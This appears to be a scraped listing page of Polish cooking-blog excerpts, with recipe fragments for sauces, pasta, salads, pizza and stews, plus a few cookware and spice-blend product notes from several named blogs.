Wpis pochodzi z www.mgotuje.pl Filet z indyka z nadzieniem z suszoną żurawiną, morelami, kandyzowaną skórką pomarańczową i migdałami. Podana z kuskusem oraz sosem z jabłek, pora i soku z pod pieczenia mięsa, który wymyśliłam na szybko. Wszystko się ze sobą świetnie komponuje i smakuje. Mięso wyszło soczyste

Marta Gotuje
Tortilla 193

chwytamy od dolu i zakladamy potem boki nalesnika skladamy do siebie tak aby nachodzily i spinamy wykalaczka)  Gotowa tortille podgrzewamy w mikrofali Ciepla tortille przyprawaimy do smaku roznymi sosami, wedle smaku i jemy  Smacznego

Klaudynkowa kuchnia
Spaghetti al pomodoro e basilico 160

solimy. Gdy ich skórka będzie już pomarszczona, dodajemy bazylię i chwilę jeszcze smażymy. Spaghetti gotujemy al dente według instrukcji podanej na opakowaniu. Po odcedzeniu makaronu, wsypujemy go do przygotowanego sosu, delikatnie mieszamy wszystko razem i wykładamy na talerz

wyzwania kuchenne
Mini tarty z ciasta francuskiego z cukinią 374

plasterki i opiec na grillu z obu stron, a ser pokroić w kostkę. Następnie wyjąć tarty z piekarnika. Jeżeli środek zbytnio wyrósł to docisnąć go widelcem. Posmarować każdą tartę sosem pesto, ułożyć zgrillowaną cukinię i kostki sera. Na wierzchu dodać po kilka gałązek tymianku. Wsadzić tarty do piekarnika na około 5 minut, aby się podgrzały. Można to również zrobić przed

wyzwania kuchenne
Wytrawne tartaletki ze szpinakiem i łososiem 360

pieprzem. Po wyjęciu ciast na każde wyłożyć porcję usmażonego szpinaku i łososia i zalać je masą jajeczno-śmietanową. Ponownie wstawić do piekarnika i piec przez 20-25 minut, aż sos zgęstnieje, a wierzch nieco się przyrumieni

wyzwania kuchenne
Pappardelle z wędzonym łososiem 198

Szybkie danie makaronowe z delikatnym, kremowym sosem z wędzonego łososia i śmietanki. Składniki na 3 porcje: 250 g makaronu pappardelle 2 cebule 200 g wędzonego łososia 200 g śmietany 18% 2 łyżki whisky (niekoniecznie) 2 łyżki oliwy lub oleju 2 łyżki soku z cytryny sól, pieprz Makaron ugotować al dente, cebulę pokroić w kostkę, a łososia na drobne kawałki

wyzwania kuchenne
Spaghetti alla bolognese 171

Dorzucić cebulę i czosnek, podsmażyć jeszcze kilka minut. Następnie wlać passatę, wymieszać i dusić całość około 20 minut. Ewentualnie doprawić jeszcze do smaku. Makaron odcedzić, przełożyć na talerz, polać sosem i podawać. Wierzch można posypać tartym parmezanem i udekorować świeżą bazylią

wyzwania kuchenne
Sałatka z gruszką i gorgonzolą 814

soku z cytryny                    sól, pieprz Gruszkę pokroić na plasterki, ser podzielić na kawałki, a orzechy posiekać. Wymieszać dokładnie składniki sosu, ewentualnie doprawić. Na talerzu ułożyć sałatę, rukolę, gruszkę, ser. Posypać orzechami i skropić dressingiem

wyzwania kuchenne
Rożki ze szpinakiem i serem feta 387

kostki fety. Zlepić na pół, by powstały trójkąty. Ułożyć na blaszce pokrytej papierem do pieczenia, wierzch posmarować roztrzepanym jajkiem. Piec około 15 minut, aż ciasto się zrumieni. Podawać z sosem czosnkowym

wyzwania kuchenne
Roladki szparagowe 169

szparagami, które następnie zawinąć w kawałki mięsa po około 4-5 sztuk. Wstawić do nagrzanego piekarnika i piec 20 minut. Śmietankę wymieszać z miodem oraz musztardą i takim sosem polać upieczone roladki

wyzwania kuchenne
Sałatka kijowska 16691

Sycąca sałatka warstwowa z tuńczyka, jajek, cebuli i żółtego sera. Składniki: 7 jajek 2 puszki tuńczyka w sosie własnym 2 cebule czerwone 100-150 g żółtego sera majonez Jajka ugotować na twardo, oddzielić żółtka od białek. Cebulę pokroić w kostkę, a tuńczyka odsączyć z zalewy. Żółty ser i żółtka zetrzeć na tarce o małych oczkach, a białka - o dużych oczkach

wyzwania kuchenne
Gofry czekoladowe 192

Gofry w wersji mocno czekoladowej, najlepsze na ciepło oprószone cukrem pudrem i kakao lub polane sosem czekoladowym. Przepis pochodzi z książki "Czekolada" Erica Lanlarda.  Składniki na 7 porcji: 50 g kakao 2 łyżeczki cynamonu 250 g masła 300 g drobnego cukru trzcinowego 4 jajka 250 g mąki pszennej 2 łyżki mleka 2 łyżeczki pasty lub esencji waniliowej dodatkowo: cukier

wyzwania kuchenne
Placuszki z ricotty 222

przełożyć do miski z ciastem. Ponownie wymieszać. Na patelni rozgrzać olej. Nakładać ciasto łyżką i smażyć niewielkie placuszki przez około minutę z każdej strony. Podawać z truskawkami i ulubionym sosem lub syropem

wyzwania kuchenne
Spaghetti aglio, olio e peperoncino 176

czosnku 2 suszone papryczki chilli 50 ml oliwy z oliwek pęczek natki pietruszki sól starty parmezan - ewentualnie Makaron ugotować al dente w osolonym wrzątku.  W trakcie gotowania przygotować sos: posiekać drobno chilli, czosnek i natkę pietruszki. W głębokiej patelni rozgrzać oliwę, podsmażyć na niej czosnek i chilli. Następnie dodać odcedzony makaron, krótko podsmażyć dodając pod koniec natkę pietruszki

wyzwania kuchenne
Custard (krem angielski) 472

Słodki waniliowy sos ze śmietany i żółtek, będący świetnym dodatkiem do deserów. Składniki: 6 żółtek 1 i 1/2 szklanki kremówki 30 % łyżka ekstraktu waniliowego 4 łyżki cukru W małym rondlu podgrzać śmietankę z ekstraktem waniliowym, aż zacznie wrzeć. W tym samym czasie utrzeć żółtka z cukrem na gładki i puszysty krem. Powoli wlać połowę podgrzanej śmietanki do żółtek cały czas

wyzwania kuchenne
Nadział babę na pisiorka 246

meksykańskiej. Tak przygotowane szpadki przekładamy do naczynia żaroodpornego (z dodatkiem oliwy) i pieczemy w 150st. przez ok. 40- 50 min.  Babka ziemniaczana najlepiej smakuje ze śmietaną. Ja przygotowałam sos z papryką i bazylią.  Smacznego!!!  Dinner- potetos and minced meal. The first impression is chops with boiled potetos. That's the simple way of course

bastalena
Polak Węgier dwa bratanki... 278

wszystko zmięknie. W osobnym garnku ugotowałam groch, po czym oddzieliłam łuski i dodałam do zupy. Na koniec dodałam 2 łyżki koncentratu pomidorowego, doprawiłam do smaku.  Podobnie można przygotować sos gulaszowy do placków po węgiersku. Może jedynie zamiast grochu dodać pokrojoną paprykę i/ lub pieczarki.  * W Polsce gulyás błędnie zwana jest gulaszem, a to nic innego jak zupa

bastalena
Baked potatoes #1 228

przez 30- 40 min. W zależności od okazji podane w takiej formie mogą stanowić przystawkę lub dodatek do dania głównego. U mnie dziś w towarzystwie pulpecików w sosie borowikowym ;)  ------------------------------------------------------------------------------------------------------------------------------- Potatoes are very grateful to the culinary theme. We can boil, fry, bake... stuff them. Filling to potatoes depends on our imagination. Remain in the potatoes and spinach fascination

bastalena
Rura Gospodarza 236

kapusty, wszystko razem wymieszałam i doprawiłam przyprawami (papryka, sól, majeranek). Farsz wystudziłam. Następnie każdą rurkę nadziałam kapuścianym farszem, ułożyłam w żaroodpornym naczyniu (lekko wysmarowanym tłuszczem) i polałam sosem beszamelowym (może też być pomidorowy, albo oba pół na pół). Wszystko razem wylądowało w piekarniku na 15- 20 min (150st.)  Czy uwierzycie, że dziś pierwszy raz jadłam cannelloni

bastalena
(Tomato) Norsk Torsk 180

poczucie, że ryba jest, ale za bardzo jej nie czuć... Czerwona zupa rybna cz(y)ili dorsz w pomidorach filety z dorsza, najlepiej bez ości 1 puszka pomidorów w sosie pomidorowym z chili 1 mała cebula pokrojona w piorka 1 mała marchewka pokrojona w plasterki 2 ząbki czosnku 300- 400 ml rosołu warzywnego 1 łyżka oliwy sól, ostra papryka, bazylia

bastalena
Pivovar u Fleku 209

pokroiłam w paski, obtoczyłam w mące i podsmażyłam na oliwie (niestety). Dodałam pokrojoną cebulę oraz paprykę i majeranek. Podlałam ćwiartką piwa, wymieszałam i dusiłam pod przykryciem ponad 30 min. Sos zagęściłam pokruszoną kromką razowego chleba. Dodałam resztą piwa i gotowałam jeszcze przez 15 min. Pełnię szczęścia dopełniły  b ramborové knedlíky Czeskie knedle mogą występować w 2 wersjach: ziemniaczanej

bastalena
Barszcz, o którym na Ukrainie nie słyszeli 299

Robiąc dzisiaj porządki w proszkowych zapasach z Polski, natknęłam się na czerwony barszcz. Nabrałam ochoty. Nauczona doświadczeniem zawsze czytam opis wykonania (nawet najprostszego sosu w proszku) i co widzę, w składzie kapusta. Zdębiałam! Doczytałam nazwę- czerwony barszcz ukraiński. Nabrałam ochoty jeszcze bardziej! Podobno z barszczem ukraińskim jest tak jak z rybą po grecku, nazwa nazwą, a w tamtejszych krajach

bastalena
Tarta(k) 261

starty ząbek czosnku, a potem wrzuciłam szpinak. Poddusiłam chwilę razem, wystudziłam. Tuńczyka odcedziłam z zalewy i rozdrobniłam.  Na wystudzony spód nałożyłam kolejno szpinak, tuńczyka, kukurydzę. Całość zalałam ciepłym sosem beszamelowym i zapiekłam przez 15-20 min. w 180st. do zarumienienia.  -------------------------------------------------------------- ------------------------------------------------------------------ Powiązane posty: Pizza wiejska vs kebab Quiche z kurczakiem i brukselką

bastalena
Calzone d'amore 260

groszku 1/2 czerwonej papryki pieprz 1 łyżka majonezu 1 łyżka jogurtu naturalnego Kapustę i paprykę starłam na tarce. Wszystkie warzywa ze sobą połączyłam. Majonez wymieszałam z jogurtem, doprawiłam pieprzem. Sos dodałam do warzyw i dobrze wymieszałam.  -------------------------------------------------------------------------------------------------------------------------------- Powiązane posty: Pizza (wiejska vs kebab) "Oszukane" gołąbki

bastalena
Compose your own pizza 166

było minimalistycznie, oj nie! Wręcz przeciwnie. Wychodząc naprzeciw pizzowym sloganom, skomponowałam swoją własną pizzę. Był full wszystkiego. Ale na koniec pracowitego tygodnia należy się! Smacznego!!! Ciasto XXL (gotowe) sos pomidorowy ser żółty szynka pieczarki cebula kukurydza papryczka jalapeno pomidor zioła prowansalskie czosnek Praktycznie komentarz jest zbędny. Wszystkie składniki rozłożyłam na cieście, posypałam ziołami, czosnkiem i hyc na 20min. do piekarnika

bastalena
Xmas... and a Happy 2014 210

Świąteczny obiad otworzy zupa grzybowa z kluseczkami. Na drugie danie przygotuję łazanki z kapustą (zawsze mnie ciekawił ich fenomen, bo przecież to zwykły makaron) i mini klopsy świąteczne w sosie pieczarkowym. Łazanki z kapustą W międzyczasie podjadać będzie można śledzie z cebulką i suszonymi pomidorami (dla Misia), sałatkę jarzynową, rybę po grecku oraz marynowane pieczarki. Śledzie z cebulką i suszonymi

bastalena
Gratin... Gratin... I feel you 219

mile połechtane.   Zapiekanka ziemniaczana z Delfinatu, historycznej części Francji, bo o niej mowa. Najprościej rzecz ujmując, to nic innego jak pokrojone w plastry zapiekane ziemniaki w śmietanowym sosie z dodatkiem czosnku i ziół. I na tym koniec. Ale ilu kucharzy, tyle przepisów. Są i tacy, którzy ratują się serem gruyere lub innymi dziurawcami, jajkami, jednak w oryginale

bastalena
Do trzech razy Meksyk 280

tortilli 1/2 cebuli 2 ząbki czosnku 2 duże kabanosy (ja miałam z czosnkiem) 2 szklanki rosołu drobiowego 1/2 puszki czerwonej fasoli 1/2 puszki białej fasoli (ja miałam w sosie pomidorowym) 1 czerwona papryka 1 łyżeczka ostrej papryki, kuminu 1 łyżka oliwy 2 placki tortilli Na oliwie zeszkliłam cebulę. Dodałam czosnek, plasterki kabanosów i przesmażyłam razem. Po ok. 10min. wlałam bulion

bastalena
Margarytkowa potrawka z kurczaka 274

zasmażyłam mąkę i cały czas energicznie mieszając, aby się nie zgrudkowała, podlałam resztą zimnego rosołu. Zagotowałam ok. 10min., pamiętając o mieszaniu. Następnie wlałam rosół z żółtkami i śmietaną. Gdy sos zgęstniał dodałam przyprawy do smaku.  Na koniec dodałam mięso i całość zagotowałam.    Źródło przepisu

bastalena
Gryczanka 204

jajko, dodałam przyprawy oraz kaszę i pieczarki. Całość zagniotłam na jednolitą masę. Keksówkę wysmarowałam masłem, przełożyłam do niej gryczankę.  Zapiekałam w 150st. przez 40min. Całość podałam z  sosem czosnkowym

bastalena
Był sobie dorsz 246

dostatek! Najlepsze koło ratunkowe dla takiego kuchcika jak ja. A jeszcze gdy mieszka się rzut beretem od molo, niemalże każdy obiad mógłby kończyć się zapiekanym dorszem. Wersja ze śmietanowym sosem i ryżem jak na razie sprawdza się najlepiej (i najszybciej). A o to przecież chodzi... aby się nie narobić, a smacznie zjeść! Płaty dorsza opłukałam w zimnej wodzie, osuszyłam papierowym

bastalena
Co do gara? Może carbonara! 206

podzieliłam na 2 części, rozwałkowałam na cienki, okrągły placek (w tym momencie można nastawić piekarnik na 200st.).  Przed nałożeniem farszu spód skropiłam oliwą i posmarowałam startym czosnkiem. Przygotowany sos beszamelowy w połowie rozsmarowałam na spodzie. Następnie ułożyłam plastry żółtego sera, salami, podsmażone pieczarki, cebulę i pomidory. Wierzch polałam resztą beszamelu i zapiekłam w 200st. przez 15min

bastalena
Co za pasztet! 304

niskiemu indeksowi glikemicznemu może być spożywana przez chorych na cukrzycę i osoby na diecie. A w połączeniu z nasionami strączkowymi to już sama kopalnia zdrowia. W kuchni idealna do sosów, sałatek, z powodzeniem można zrobić z niej także kaszotto. Na blogu gościła jak do tej pory tylko raz ( tutaj ), ale coś mi się wydaje, że szybko nadrobię te zaległości

bastalena
Dziwne? Ale zjadliwe #3 Nie samym żurkiem i mazurkiem 243

wystudziłam, a następnie obrałam i pokroiłam w plastry. Ogórki kiszone oraz cebulę pokroiłam w drobną kostkę. W kubku wymieszałam majonez, jogurt ( ilość dobierzcie wg własnych upodobań ) pieprz i koperek. Sos wymieszałam z warzywami. Całość schłodziłam ok. 2h przed podaniem

bastalena
Dziwne? Ale zjadliwe #4 Ty, buraku! 206

ugotowałam w łupinach do miękkości. Wystudzone, obrałam i pokroiłam w kostkę. W osobnym garnku ugotowałam kaszę z odrobiną soli. W misce wymieszałam kaszę, buraki, kiełki i twaróg. Całość skropiłam sosem na bazie oliwy, soku z cytryny i mieszanki ulubionych ziół

bastalena
Nieprzepisowo #3 Powiedz mi co jesz, a powiem Ci czy spać będziesz 226

ugotowane w mundurkach (oczywiście zjedzone bez łupinek). Surówka z zielonego ogórka, pomidora (oczywiście bez skóry) i kiełków rzodkiewki. Gotowane pulpeciki z mięsa mielonego z koperkiem. Wszystko w akompaniamencie koperkowego sosu na bazie jogurtu. K olacyjnie Hicior ostatnich dni:  sałatka z buraków, wędzonego twarogu i kaszy gryczanej . Wyrazisty wędzony ser, gryzący smak kiełków rzodkiewki, kojący zmysły burak. Pyszności

bastalena
Z dalekich wypraw #5 Dzień hot doga pod biegunem 231

Niechlujny Rudolf jest analogią do amerykańskiej kanapki znanej jako Sloppy Joe. W składzie zawiera ona wołowinę, cebulę, sos pomidorowy, przyprawy. Podawana w formie hamburgera, z tą jednak różnicą, że mięso tutaj jest luźno i "niechlujnie" (ang. sloppy) rozdrobnione, a nie tak jak w klasycznym burgerze zwarte w kotlet. Do tego jeszcze coleslaw na kiszonej kapuście i mamy obiad w amerykańskim

bastalena
Łapki drożdżowe z pesto 258

naprawdę dobrze. I to zarówno na kolacje jak i na śniadanie, czego dowodem jest córka, która je pochłonęła je rano jak i wieczorem. Zapraszam na połączenie pesto, serka i sosu pomidorowego. Można zrobić inne kształty np zwijane jak ślimaki drożdżówki. Czytaj więcej

Bernika - moj kulinarny pamietnik
Warzywny mix z ogórkami 187

Dalej korzystam z warzyw i przygotowuje kolejne przetwory. Tym razem warzywny mix, który można wykorzystać do przygotowania zupki jarzynowej czy też sosu do ryżu lub makaronu. składniki: 1 kg ogórków gruntowych 300 g marchewki 200 g cebuli 2 czerwone papryki 500 g pomidorów 1 łyżka soli kamiennej Przygotować warzywa. Ogórki obrać ze skórki i zetrzeć na tarce o grubych oczkach

Monia miesza i gotuje
Młode ziemniaczki z szynką, pomidorami, cebulą i jajkami podane na patelni 256

podsmażamy cebulę z szynką, gdy cebula zmięknie dodajemy ćwiartki ziemniaków oraz kawałki obranego pomidora, cząber i ostrą paprykę, doprawiamy do smaku, delikatnie mieszamy, a gdy z pomidorów powstanie lekki sos wbijamy dwa jajka, czekamy, aż się zetną, podajemy zaraz po przygotowaniu

Moja smaczna kuchnia
Polędwiczka wieprzowa z marchewką i czosnkiem w pomidorach 225

pokrojone na kawałki pomidory wraz z ich sokiem, a przy pomocy drewnianej łyżki lekko "zgniatamy" kawałki pomidorów.  Całość dusimy na najmniejszym ogniu, aż mięso będzie miękkie, a sos stanie się gęsty. Na koniec doprawiamy do smaku. Proponuję podać tak przygotowane mięso z płatami lasagne

Moja smaczna kuchnia
Mini Torciki Brownie z Kremem Żurawinowym 167

szklanki wycinamy kółka. Tak naprawdę zależy od nas jakie duże maja być torciki. Mi wyszło 6 większych. Krem: 250 g serka mascarpone 200 ml śmietany kremówki 36% 200 g sosu lub konfitury z żurawiny borówki do dekoracji cukier puder do posypania Śmietanę ubijamy na sztywno. Serek mascarpone wkładamy z konfiturą do misy miksera i ucieramy na gładką masę

Made By Mom And Son
1451.Sałatka z pesso 293

makaron instant stanowi bowiem zamiennik kaszy, ryżu, czy też makaronu do gotowania. Doskonale nadaje się do przyrządzania śniadań (zupy mleczne), jak również daniach obiadowych- smakuje wyśmienicie w połączeniu z sosami czy mięsem. Stanowi również bazę do sporządzania różnego rodzaju sałatek

Moje domowe kucharzenie
1475.Pizza na cienkim spodzie 209

wlać rozczyn drożdżowy, olej i zioła,wymieszać i zagnieść dość miękkie ciasto.Odstawić do wyrośnięcia [ można również od razu rozwałkować ciasto na blachę].Ciasto rozwałkować na blachę, posmarować dowolnym sosem [ u mnie wyjątkowo tylko odrobina ketchupu] .Ułożyć dowolne dodatki .Posypać startym serem i wstawić do nagrzanego do 210 ˚C piekarnika .Piec 15-20 minut.Można również wzdłuż dłuższego boku ułożyć

Moje domowe kucharzenie
1486.Frużelina malinowa 210

mąką, wymieszać. Żelatynę powoli wmieszać do owoców, uważając, by nie wytworzyły się grudki (można najpierw je zmiksować z odrobiną soku z owoców, by nie była tak gęsta). Schłodzić, by sos owocowy zgęstniał. Frużelina powinna mieć konsystencję żelu (coś pomiędzy kisielem a galaretką), nie być gęsta jak galaretka, ale lejąca

Moje domowe kucharzenie
1491. Naczynie żaroodporne Termisil 199

równomierne nawilżenie potrawy.. Szklane ryfle , które zapobiegają przywieraniu potraw... Naczynie żaroodporne ..wykorzystane ..  Do gotowania: Na sam początek eksperymentów z naczyniem był szybki obiad...biała kiełbasa gotowana ..w sosie pomidorowym.. Do pieczenia: Następnie był chlebek ..piekłam go w naczyniu wyłożonym papierem...ale następnym razem upiekę i bez papieru.. Do zapiekania: Pyszna zapiekanka ..z makaronu , brokuła... Zapiekane naleśniki

Moje domowe kucharzenie
1534. Pieczone skrzydełka 192

Udka lub skrzydełka umyć, dodać marynatę i wymieszać , odstawić na kilka godzin.Przełożyć do naczynia żaroodpornego, dodać pokrojoną marchewkę i cebulkę.Piec przez około godzinę, przewracając kurczaka i polewać sosem [ można wlać trochę wody

Moje domowe kucharzenie
1548. Pizza na śmietanowo-drożdżowym spodzie 225

Smakowita Pajda z ziołami  [olej] . Następnie dodać wyrośnięte drożdże i zagnieść ciasto. Dużą blachę piekarnikową wyłożyć papierem do pieczenia, na nim rozłożyć ciasto. Posypać przyprawą do pizzy, posmarować sosem pomidorowym lub ketchupem. Rozłożyć dowolne dodatki. Zetrzeć ser żółty. Posypać oregano. Piec około 20 minut w temperaturze 180 stopni

Moje domowe kucharzenie
1563.Gołąbki ..oszukane 230

dodać bułki tartej tyle , aby można było formować kotlety, doprawić do smaku .Wymieszać i formować kotlety, obtoczyć w bułce tartej i usmażyć na oleju.Przełożyć do naczynia żaroodpornego , zalać sosem [ z przecieru i wody], dodać susz i przyprawy. i piec lub gotować.[ u mnie były pieczone] .Na koniec dodać śmietanę i mąkę, koperek

Moje domowe kucharzenie
Kotlety bezmięsne 285

smakoszy są rewelacyjnym dodatkiem do wszystkiego, do dekoracji i tak na surowo jako przekąska, spokojnie zastępuje paluszki i chipsy . Zastosowanie: Pomidory suszone idealnie nadają się do dań płynnych, zup, sosów. Jest to niezastąpiony dodatek do pizzy czy zapiekanki. Doskonale pasuje do kanapek zarówno tych z serem jak i tych z mięsem. Świetnie nadaje się do faszerowania mięsa

Moje domowe kucharzenie
Kotlety z suszonymi pomidorami 211

Pomidory suszone idealnie nadają się do dań płynnych, zup, sosów. Jest to niezastąpiony dodatek do pizzy czy zapiekanki. Doskonale pasuje do kanapek zarówno tych z serem jak i tych z mięsem. Świetnie nadaje się do faszerowania mięsa... Ja jednak postanowiłam dodać do mięsa mielonego i zrobić kotlety...i dobrze zrobiłam..kotlety wyszły pyszne..i nie tylko za sprawą dodatku pomidorów

Moje domowe kucharzenie
Placki ziemniaczane 253

mocno rozgrzanym oleju.  Rewelacyjna, oparta na staropolskiej recepturze przyprawa myśliwska. Mieszanka najwyższej jakości przypraw i ziół idealnie się nadaje do wszelkiego rodzaju potraw myśliwskich, korytek góralskich, dziczyzny, baraniny, sosów. Przyprawa myśliwska ma niepowtarzalny aromat i smak. Skład:sól,bazylia,cebula,gałka muszkatołowa,goździk,imbir,ziele angielskie,rozmaryn,gorczyca,pieprz czarny,jałowiec,lubczyk. Olej z ryżu  Zawiera korzystny skład

Moje domowe kucharzenie
Podsumowanie stycznia 207

powodzeniem w styczniu.. Mięsko na kanapki Sałatka z tortellini Sałatka z makaronem Sałatka z kaszą kuskus Mielonka na kanapki Pączki bez jajek na gazowanej wodzie Serca drobiowe w sosie Sałatka z makaronem Mielonka na kanapki Proste i szybkie ciasto kakaowe

Moje domowe kucharzenie
Pizza " z kamienia" 249

tylko do pieczenia pizzy.. 0,5 kg mąki 1 szkl.wody 1 łyżeczka soli 1 łyżeczka cukru 40 g drożdży 2 łyżki oleju przyprawa do pizzy dowolne dodatki sos curry salami ser żółty Drożdże rozrobić w wodzie, dodać mąkę, sól, cukier , olej i przyprawę.Wyrobić gładkie ciasto i odstawić do wyrośnięcia.Następnie uformować pizzę i nałożyć dodatki, posypać serem .Piec

Moje domowe kucharzenie
Patelnia z pokrywą z redcoon.pl 178

używania na wszystkich rodzajach kuchenek, łącznie z indukcyjnymi i ceramicznymi. Patelnia od razu poszła w ruch...do smażenia mięsa..miały być co prawda kotlety schabowe, ale zrobiłam bitki w sosie pomidorowym..Na początek na patelni podsmażyłam plastry mięsa..potem dodałam pozostałe składniki..nakryłam pokrywą....i gotowe..Mięsko dusimy prawie bez zaglądania i bez obawy, że coś tam się przypali..wiadomo

Moje domowe kucharzenie
Babka ziemniaczana 388

niedźwiedzi, papryka czerwona, chili i czarnuszka.  Zastosowanie w kuchni: Mieszankę dodaje się do dań kuchni włoskiej i śródziemnomorskiej, w tym do: zapiekanek, pizzy, spaghetti, past, sałatek, mięsa i sosów. Przyprawia się nią popularną, m.in. we Włoszech brunschettę

Moje domowe kucharzenie
Schabowy ..ciut inaczej 270

kolendra, pieprz czarny, imbir, gorczyca, kurkuma, kminek, liść laurowy, rozmaryn.  Zastosowanie w kuchni: •    Mieszanka nadaje się do zastosowania zamiast soli i pieprzu do przyprawiania zup, sosów, dań mięsnych, chleba i innych potraw. Lubczyk  znany jest od czasów starożytnych, kiedy to Grecy i Rzymianie stosowali go, jako lekarstwo na dolegliwości układu oddechowego, moczowego i pokarmowego. Lubczyk

Moje domowe kucharzenie
Schabowy..pachnący czosnkiem 199

rumiano z obu stron. Skład  soli czosnkowej :  sól kuchenna, czosnek granulowany, ekstrakt czosnku Zastosowanie :  do nacierania i marynowania mięs, drobiu, ryb przed ich podaniem, do zup, sosów, steków, kotletów, mięs mielonych, gulaszy, dań z jaj. Doskonałą do świeżych gotowanych warzyw. Do potraw z grzybów oraz serów

Moje domowe kucharzenie
Mięsko z patelni grillowej 184

również dodaje smaku żywności, poprzez wykorzystanie środków zapachowych. Mięso można namoczyć w mieszance płynów i przypraw przed gotowaniem. Marynowane mięso ma bardziej nasycony smak. Warzywa można marynować w różnych sosach przed pieczeniem lub grillowaniem. Alkohol jest często używany do maceracji, ponieważ pomaga w złagodzeniu smaku i może służyć jako środek aromatyzujący. Żywność poddana maceracji w alkoholu ma również charakterystyczny smak

Moje domowe kucharzenie
American cripsy chicken 288

mieszankom potrzebnym do przyrządzenia takiego pysznego kurczaka..a potrzebne jest marynata, kleiwo i panierka...a wszystko to dzięki uprzejmości  Bella -Bis ..Kurczak naprawdę pyszny...a do tego jeszcze sos czosnkowy  ..palce lizać..  kurczak  marynata kleiwo panierka american crispy chicken Marynowanie: 50 g [ porcja na 3 kg skrzydełek] marynaty wsypać do 1 l zimnej wody i dobrze

Moje domowe kucharzenie
Gulasz wieprzowy z dodatkiem suszonej moreli 219

84mg Miedź 0,77mg Mangan 0,93mg Jod 2,7µg Przyprawa do gulaszu to aromatyczna mieszanka nie tylko do gulaszu ale również do wszelkiego rodzaju farszy mięsnych czy sosów. Może służyć również jako marynata do mięs. Skład: sól papryka słodka czosnek cukier majeranek kolendra cząber gorczyca pieprz pieprz ziołowy rozmaryn

Moje domowe kucharzenie
Irańska ryba smażona 212

kurkumy powstaje barwnik, nazywany kurkuminą. Stosuje się go do barwienia ryżu, makaronu i warzyw konserwowanych w occie. •    Kurkumy używa się do przyprawiania sosów i potraw z drobiu. •    Co ciekawe, kurkumą można „oszukiwać szafran”, co zauważył słynny podróżnik Marco Polo. Kurkuma kolorem przypomina szafran i, chociaż w smaku, jest zupełnie inna, to jednak z powodzeniem

Moje domowe kucharzenie
Wytrawne gofry 203

Gofry..ale nie na słodko.. tym razem wytrawne..podane z sosem tysiąca wysp ..Do takich gofrów ..do ciasta możemy dodać to co lubimy lub to co mamy  lodówce.. 1 szkl.mąki  1/2 szkl. mleka 1 jajko 1 łyżka oleju 1 łyżeczka proszku do pieczenia sól, pieprz przyprawa do  pizzy dowolne dodatki: ogórek, pomidor, szynka

Moje domowe kucharzenie
Rogaliki z serkiem topionym i szynką 214

mini rogaliki ale z  farszem z serka topionego wymieszanego z pokrojoną szynką..takie małe rogaliki są pyszne...moje córki zajadały się ze smakiem..do tego był jeszcze sos czosnkowy.. 2,5 szkl. mąki  10 g drożdży 1,5 łyżki oleju 0,5  łyżki cukru 0,5 łyżeczki soli 3/4  szkl. ciepłej wody serek topiony kilka

Moje domowe kucharzenie
Kolorowa sałatka z olejem rzepakowym 235

Prosto, szybko ..i na dodatek smacznie..Sos na bazie oleju..Oleju rzepakowego który jest  naturalnym źródłem kwasów omega – 3 i dlatego jest używany w mojej kuchni.. mix sałat pomidor ogórek zielony rzodkiewka kilka plasterków polędwicy drobiowej 2 łyżki oleju rzepakowego sok z 1/2 cytryny 1 łyżeczka musztardy sól, pieprz Pomidor, ogórek, rzodkiewki i polędwicę pokroić w kostkę, dodać

Moje domowe kucharzenie
Olej z awokado „Greencado” – zielone dobro dla ciała i podniebienia 153

także podobnie działające lecytynę i beta-sitosterol. Kulinarne zastosowanie oleju z awokado Delikatny orzechowy smak i głęboki zielony kolor sprawiają, że olej z awokado świetnie nadaje się do sosów sałatkowych oraz do dekorowania i poprawiania przyswajalności gotowych potraw, na przykład makaronów, pierogów czy pieczonych mięs. Jedwabistą warstwą otula pożywienie i nie pozostawia tłustego posmaku. Posiada najwyższą temperaturę rozkładu

Moje domowe kucharzenie
Gulasz 191

obtoczyć w mące i podsmażyć na patelni .Przełożyć do garnka , dodać  cebulę, marchewkę, wodę , koncentrat pomidorowy, przyprawy i gotować do miękkości.Pod koniec w razie potrzeby można zagęścić sosem

Moje domowe kucharzenie
Placki a'la pizza 191

Prosto i smacznie..Placki..dla odmiany ..a'la pizza...a do nich sos tysiąca wysp.. Zaglądajcie..i czekajcie....bo warto..fajna nagroda będzie do wygrania w konkursie na blogu..jeszcze chwila..no może..dwie...i dowiecie się co będzie można wygrać.. 1/2 szkl.mąki pszennej 1/4 szkl. mąki ziemniaczanej szczypta sody oczyszczonej 2 jajka 1 papryka

Moje domowe kucharzenie
Pierś z kurczaka w cieście majonezowo-musztardowym 417

zaległy przepis..podpatrzony gdzieś w necie..prawdę  mówiąc tą pierś robiłam w marynacie[ przepis w następnym poście], ale jest tak smaczna, że można zjeść i taką..z jakimś sosem np.czosnkowym.. Pamiętacie o  konkursie  ? zapraszam.. 1 duża pierś z kurczaka  przyprawa  udko pieczone Składniki na ciasto:  2 jajka  2 łyżki mąki pszennej

Moje domowe kucharzenie
Spaghetti alla carbonara 183

odcedzony makaron (może być jeszcze trochę wilgotny). Dokładnie wymieszać,dodać jajka z serem i wymieszać. Nie podgrzewać, ponieważ jajka powinny zagrzać się od makaronu (a nie ściąć) tworząc kremowy sos. Nałożyć na talerze, oprószyć pieprzem oraz pozostałym serem

Moje domowe kucharzenie
Gulasz starobawarski 233

którym się smażyło. Zalać piwem wymieszanym z rosołem. Doprawić solą i pieprzem. Dusić do miękkości mięsa. Dodać śmietanę wymieszaną z 2 łyżkami mąki [ mąki nie dawałam] . Zagotować (gdyby sos okazał się za gęsty, rozcieńczyć go rosołem). Gotowy gulasz posypać startą skórką z cytryny [ u mnie bez skórki

Moje domowe kucharzenie
Bliny ziemniaczane 186

patelni rozgrzewamy olej ryżowy i po jednej łyżce nakładamy "ciasto". Smażymy z obu stron  na rumiano. Najlepiej podawać bliny ze śmietaną :) Ale równie dobrze smakują z łososiem lub sosem pieczarkowym

Emcia Pichci
Makaron razowy z truskawkami 207

Odstawiamy na 5 minut. Do osobnego garnuszka wrzucamy truskawki razem z wytworzonym sokiem i gotujemy przez 3-4 minuty. Następnie dodajemy jogurt oraz błonnik i dokładnie mieszamy. Nakładamy nasz sos truskawkowy na makaron i wcinamy aż się uszy trzęsą

Emcia Pichci
Mini torcik z mikrofalówki 243

